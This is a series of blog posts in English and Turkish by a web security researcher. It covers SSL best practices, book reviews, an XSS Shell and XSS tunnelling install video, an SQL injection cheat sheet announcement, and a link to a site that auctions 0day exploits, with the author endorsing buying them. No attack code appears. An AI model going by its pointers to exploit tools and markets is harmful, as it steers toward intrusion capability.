    Browsers pops up a warning box when a page calls HTTP resources over an HTTPS URL. This generally happens if you try to include external JavaScript or Flash resources from an HTTP URL. This is bad because an attacker can do MITM to HTTP content and execute JavaScript in the same domain. This is very simple especially if this warning causes because of an external JavaScript resource.

    Should I trust websites which pops-up some SSL warning?

    Depends on the details on the warning, but simply No you should not. This generally indicates one of the following problems;

    • SSL Certificate is self-signed;
    • SSL Certificate is expired;
    • SSL Certificate has been changed;
    • Someone is doing MITM attack, which causes you to get not correctly signed SSL Certificate;
    • Some of the content in the same page coming over a non-SSL channel.

    All of these are not good and you shouldn’t trust them.

    Is SSL just for authentication required applications?

    No, if you consider the transmitted data between you and the visitors as private you should use SSL.

    Most of the following component should always be over SSL:

    • Authentication and after authentication pages;
    • Contact Forms;
    • Search forms and result pages.

    Search and results pages maybe looks like overkill to you but imagine you open all of your google searches to public. I bet you don’t want to know people about your deep obsessions, health status, your applications error messages, your home address (google maps), your phone number etc.

    Is SSL only about Encryption?

    No, it’s also about identification. You can use SSL to prove who you are by getting certificate from a trusted CA by common browsers. Therefore your visitors can check your company name and details by looking into the details of your certificate.

    Even though this is not bullet proof solution because of social engineering someone else can come with similar domain name and valid certificate and can carry out a phising or similar attack, even though this is another layer to protect your application against phising or similar attacks.

    Also you can use SSL to identify a client to the server.

    Should I disable HTTP access?

    Yes you should, this is the best practice you can do in SSL usage. Disable port 80/HTTP access to your web server. It helps to prevent phising attacks, will educate users to stick with SSL all the time and will protect you against several wrong SSL implementations pitfalls.

    Yeni Web Güvenliği Kitapları

    Web güvenliği konusunda yayınlanan hemen hemen tüm kitapları okumaya çalışıyorum ama son bir kaç aydır pek kitap okuyamadığımdan dolayı piyasayı biraz kaçırdım. Yeni web güvenliği kitaplarının hepsi beklendiği gibi daha çok AJAX, Web 2.0 ve bir çok başka benzer zımbırtı üzerine.

    Genelde bu kitapların çoğu benim gibi konunun düzenli takipçileri çok faydalı olmuyor ama gene de bir şeyler kazanabiliyorsunuz.

    Piyasada yeni şu kitaplar var:

    • Web 2.0 Security - Defending AJAX, RIA and SOA
      Tanınan web güvenlik yazarlarından Shreeraj Shah' ın kitabı. Her ne kadar kitap genel yeni konulara değinse de maalesef RIA veya SOA benim umrumda değil, AJAX güvenlik geyikleri de biraz baydığından dolayı bu kitap bana henüz pek bir şey ifade etmiyor. Ek olarak görünen o ki kitap daha çok nasıl güvenli yaparsanıza yönelmiş ki bu da benim pek umrumda değil. Önemli olan nasıl saldırırsınız...
    • Ajax Security
      WebInspect takımından Billy Hoffman' ın kitabı. Kitap hakkında çok güzel yorumlar olsa da sadece AJAX a eğilmesi beni pek sarmıyor. Safari books' ta varmış şimdi buldum, dolayısıyla oradan okumaya başlayacağım. Gene kitap hakkında ileride yazmaya çalışacağım.
    • Hacking Exposed Web 2.0
      Klasik hacking exposed serisinden, muhtemelen pek güzel değil. İçerik fena gözükmüyor
    • The Web Application Hacker's Handbook
      NGS ekibinden, ve onların stili genelde penetration testers to penetration testers. Dolayısıyla genelde güzel oluyorlar. Ek olarak çok geniş ama yeni teknolojilere pek bulaşmamışlar. Dolayısıyla daha az yeni bilgi içeriyor olabilir.

    Şu an bunlar benim listemde, hangisini alacağıma henüz karar vermedim ama The Web Application Hacker's Handbook güzel gözüküyor.

    Cyber Adversary Characterization - Auditing The Hacker Mind

    Cyber AdversaryBir süredir normal ofisimin dışında çalışıyorum, dolayısıyla işe gidip gelmem de normale göre daha uzun sürüyor. Her zaman söylerim toplu taşımanın yegane güzelliği bu, kitap okuma şansınız var. Ben de sadece bir yerden bir yere giderken kitap okuyabilerlerdenim, tabii ki kitap standatların çok üzerinde değilse (bkz : The Code Complete, Grange, Palahniuk kitapları).

    Dolayısıyla bu güzel bir bahane oldu ve ben de iki tane sürüklenen kitabımı bitirmiş oldum. 

    Bunlardan biri Cyber Adversary Characterization - Auditing The Hacker Mind. Kitap temel olarak bilişim suçlularının psikolojisi ve motivasyonu gibi konular üzerine kurulu. Bir çok gerçek saldırı olayı incelenmiş, ek olarak şirket içinden gelen saldırılar ve bunların erken tespiti üzerine de güzel noktalara değinilmiş.

    Kitabın bir kaç bölümü sizi intihara sürükleyebilecek kadar sıkıcı ama bunun yanında gerçek olayları inceleyen (halk arasında case study olarakta bilinir) bölümleri ise gayet keyifli. Sonlara doğru Amerika' nın açısından devlet bazında bilişim güvenliği konularına değiniliyor, her ne kadar Amerika' nın devlet bazında bilişim güvenliği politikası benim umrumda olmasa da gerçek verilere dayalı olarak devlet sistemlerinin güvenliği hakkında konuşuyor.

    Ne hikmetse Syngress' in kitapları aşırı reklam dolu, yazarların kitabı sadece reklam dolu bir bölüm için yazdığını düşünüyorsunuz. Phising Exposed da bu şekildeydi. Bu arada Phising Exposed için henüz bir şey yazmadığımı farkettim, onu da yakın bir sürede yazmaya çalışırım.

    Sonuca gelirsek eğer gerçekten konu ile ilgili değilseniz bu kitaba yaklaşmayın, eğer konu ilginizi çekiyorsa da bazı bölümleri atlamak genel olarak sıkıntıdan ölmemenizi sağlayabilir.

    XSS Shell Install Video

    7 minutes video shows how can you installation and configuration of XSS Shell and XSS Tunnel. For further details and idea refer to the white paper XSS Tunnelling. It may can take about 60 seconds to load.

    0day Açık Artırma Sitesi

    Etiketler cat-security, links, 0day, 07.07.2007

    0day açık / exploilerini açık artırma ile satmak için bir site : Wabisabilabi.

    İlginç ve çok tutulabilir (özellikle o fiyatlar ile insanlar o açıokları alırsa). Açıkçası bu işin gri kısmında bulunduğumdan açıkça bazı açıklar için gözü kapalı 1000-2000$ ı çok rahat ödeyebileceğinizi söyleyebilirim.

    Bu arada 0day piyasası ile ilgiliyseniz gözünüzü açacak çok keyifli bir makale - The Legitimate Vulnerability Market

    Düşünce Sniffing, Brain Tampering...

    Beyin dalgaları ile bilgisayar kullanma! Hayalleri gerçek olması gibi bir durum ve CNN' deki haberde bunun çok yakın olduğunu ve şu an çalışan prototiplerinin olduğunu gösteriyor. Benim aklıma bunun inanılmaz bir gelişme olduğu ve bir an önce ben de istiyorumdan sonra bunun güvenlik kısmı geldi.

    İnsanların beyin dalgalarını okumak! Dikkat ederseniz makalenin sonunda implant olmadan da beyin dalgalarını okumaktan bahsediyor. Mesela biri şifresini girerken beyin dalglarını yakalasak şifreyide anlayabilirmiyiz? ya da ileride beyin dalgaları ile login olursak reply ataklar yapabilir miyiz?

    Eğer bu sistemlerde WEP gibi zart diye sisteme gelirlerse bunlardan çok daha fazlasını yapacağımıza eminiz, Ya da o zamanlar ben hayatını MMORPG ye kaptırmış bir homeless olabilirim...

    SQL Injection Cheat Sheet is Online !

    I started this sql injection cheat sheet about 2003, and tried to keep it up to date like a scratch book. I'm trying to redesign and rewrite it.

    Currently it's a mess but still most comprehensive SQL Injection Cheat Sheet around, if you got some good stuff send it, I'll add it to references and page.

    SQL Injection' dan Korunma Videosu

    SQL Injection'dan Korunma Video

    Bu video bir önceki makalelerde örnek olarak gösterilen kodu düzeltmeyi gösteriyor.